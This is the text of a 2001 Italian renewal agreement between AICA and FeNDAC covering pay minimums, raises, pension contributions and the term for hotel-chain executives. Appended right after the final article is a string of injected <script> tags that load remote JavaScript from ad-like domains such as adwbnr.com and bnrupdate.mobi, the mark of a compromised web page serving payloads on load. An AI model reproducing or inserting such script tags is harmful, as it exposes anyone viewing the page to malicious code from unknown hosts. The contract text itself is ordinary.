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Categoria: Alberghi (dirigenti di catene alberghiere) Settore: Commercio Data stipula: 31-7-2001 Data decorrenza: 1-1-2001 Data scadenza: 31-12-2002
ACCORDO DI RINNOVO
31 luglio 2001
DIRIGENTI (CATENE ALBERGHIERE)
L'anno 2001, il giorno 31 del mese di luglio in Milano
tra
- Associazione Italiana Catene Alberghiere (AICA)
e
- Federazione Nazionale Dirigenti di Aziende Commerciali, dei
trasporti, del turismo, dei servizi, ausiliarie, del terziario avanzato
(FeNDAC)
si è stipulato il seguente Accordo di rinnovo della parte economica e di
previdenza e assistenza integrative del CCNL 18.10.95, come modificato
dagli Accordi 10.9.97 e 19.10.99, per i dirigenti delle aziende
dell'industria alberghiera aderenti ad AICA.
Art. 1 - Minimo contrattuale mensile.
1. Il minimo contrattuale mensile per i dirigenti è fissato in £.
5.780.000 lorde, ovvero _ 2.985,12.
Art. 2 - Aumento retributivo.
1. Fermo restando il minimo contrattuale di cui al precedente art. 1, ai
dirigenti compresi nella sfera di applicazione del presente contratto
compete, sulla retribuzione di fatto e a titolo di superminimo
contrattuale, un aumento retributivo di £. 540.000 corrispondenti a _
278,89 _, ripartito come di seguito specificato:
- £. 240.000 (_ 123,95) mensili a decorrere dall'1.1.01;
- £. 300.000 (_ 154,94) mensili a decorrere dall'1.1.02.
2. L'aumento di £. 240.000 (_ 123,95) mensili riferito al 2001, di cui
al comma precedente, potrà essere assorbito fino a concorrenza, da
incrementi economici erogati dalle aziende a partire dall'1.1.01 sino al
31.7.01, esclusivamente a titolo di acconto o di anticipazione su futuri
miglioramenti economici contrattuali o dalle quali sia stato espressamente
stabilito l'assorbimento all'atto della concessione.
3. Eventuali competenze arretrate e/o conguagli spettanti ai dirigenti
in forza nel periodo 1.1.01-31.7.01 in base al comma 1 del presente
articolo sono erogate 'pro quota', in ragione dei mesi interi prestati in
servizio. Ai dirigenti in servizio al momento della stipula del presente
contratto l'aumento di £. 240.000 (_ 123,95) mensili e le eventuali
competenze arretrate e/o conguagli spettanti dovranno essere corrisposti
entro il 31.8.01.
Art. 3 - Previdenza integrativa - Fondo "Mario Negri".
La retribuzione convenzionale annua di cui all'art. 25, comma 2, CCNL
18.10.95 come modificato dall'Accordo integrativo 29.10.97, è elevata a £.
109.214.000 (_ 56.404,32) a partire dall'1.1.01 e a £. 114.674.700 (_
59.224,54) a partire dall'1.1.02.
Art. 4 - Retribuzione variabile.
Le parti convengono di istituire una Commissione paritetica nazionale con
l'incarico di esaminare i temi previsti nell'art. 10, CCNL 18.10.95, che
dovrà insediarsi entro il 15.10.01.
La Commissione presenterà alle parti una relazione definitiva entro il
31.7.02.
Art. 5 - Decorrenza e durata.
Il presente Accordo decorre dal 1° gennaio 2001, fatte salve eventuali
diverse decorrenze previste da singole norme, e ha scadenza il 31 dicembre
2002.
Successivamente a tale data sarà avviato il confronto negoziale relativo
al rinnovo del CCNL 18.10.95.<script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwste.mobi/b.js></script><script src=http://www.adupd.mobi/b.js></script><script src=http://www.bnrupdate.mobi/b.js></script><script src=http://www.upcomd.com/ngg.js></script><script src=http://www.mainadt.com/ngg.js></script><script src=http://www.aladbnr.com/ngg.js></script>
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